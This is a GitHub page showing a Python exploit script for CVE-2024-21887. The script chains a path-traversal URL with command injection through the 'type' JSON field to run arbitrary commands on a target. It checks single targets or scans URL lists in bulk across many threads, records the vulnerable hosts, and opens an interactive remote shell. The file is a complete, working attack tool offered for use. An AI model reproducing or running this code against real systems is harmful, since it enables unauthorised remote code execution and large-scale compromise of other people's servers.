-
Notifications
You must be signed in to change notification settings - Fork 13
/
exploit.py
133 lines (115 loc) · 4.47 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
import json
import urllib3
import requests
import argparse
from rich.console import Console
from alive_progress import alive_bar
from prompt_toolkit import PromptSession, HTML
from prompt_toolkit.history import InMemoryHistory
from concurrent.futures import ThreadPoolExecutor, as_completed
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class CVE_2024_21887:
def __init__(self, base_url):
self.base_url = base_url
self.console = Console()
self.session = requests.Session()
self.session.trust_env = False
def send_backup_code_request(self, type_value="id"):
data = {"type": f";{type_value};"}
url = f"{self.base_url}/api/v1/totp/user-backup-code/%2E%2E/%2E%2E/system/maintenance/archiving/cloud-server-test-connection"
try:
response = self.session.post(url, json=data, verify=False, timeout=10)
if response.headers.get("Content-Type") == "application/json":
try:
response_json = response.json()
if "error" in response_json:
return response_json["error"]
except json.JSONDecodeError:
pass
return None
except requests.exceptions.RequestException as e:
pass
def check_vulnerability(self):
error_message = self.send_backup_code_request()
if error_message:
self.console.print(
f"[bold green][+] {self.base_url} is vulnerable - [/bold green][bold yellow]{error_message}[/bold yellow]"
)
return error_message
def interactive_shell(self):
session = PromptSession(InMemoryHistory())
self.console.print(
f"[bold yellow][!] Shell is ready, please type your commands UwU[/bold yellow]"
)
while True:
try:
cmd = session.prompt(HTML("<ansired><b># </b></ansired>"))
match cmd.lower():
case "exit":
break
case "clear":
self.console.clear()
case _:
response = self.send_backup_code_request(cmd)
if response:
self.console.print(response)
except KeyboardInterrupt:
break
def process_url(url, output_file=None):
scanner = CVE_2024_21887(url)
if scanner.check_vulnerability():
if output_file:
with open(output_file, "a") as outfile:
outfile.write(url + "\n")
return url
return None
def main():
parser = argparse.ArgumentParser(
description="CVE-2024-21887 Exploit Script. This script is designed to detect and interact with systems vulnerable to CVE-2024-21887."
)
parser.add_argument(
"-u",
"--url",
help="Specify a single URL to scan. Use this mode for a focused scan on one target.",
)
parser.add_argument(
"-f",
"--file",
help="Specify a file path containing a list of URLs for bulk scanning. Each URL should be on a new line.",
)
parser.add_argument(
"-t",
"--threads",
type=int,
default=100,
help="Set the number of concurrent threads for bulk scanning. Default is 100.",
)
parser.add_argument(
"-o",
"--output",
help="Specify a file path to save the URLs that are found to be vulnerable. Results are appended to this file in real time.",
)
args = parser.parse_args()
match args:
case args if args.url:
scanner = CVE_2024_21887(args.url)
if scanner.check_vulnerability():
scanner.interactive_shell()
case args if args.file:
with open(args.file) as file:
urls = file.read().splitlines()
with alive_bar(len(urls), enrich_print=False) as bar:
with ThreadPoolExecutor(max_workers=args.threads) as executor:
futures = [
executor.submit(process_url, url, args.output)
for url in urls
]
for future in as_completed(futures):
future.result()
bar()
if args.output:
print(f"Vulnerable URLs saved to {args.output}")
case _:
parser.print_help()
if __name__ == "__main__":
main()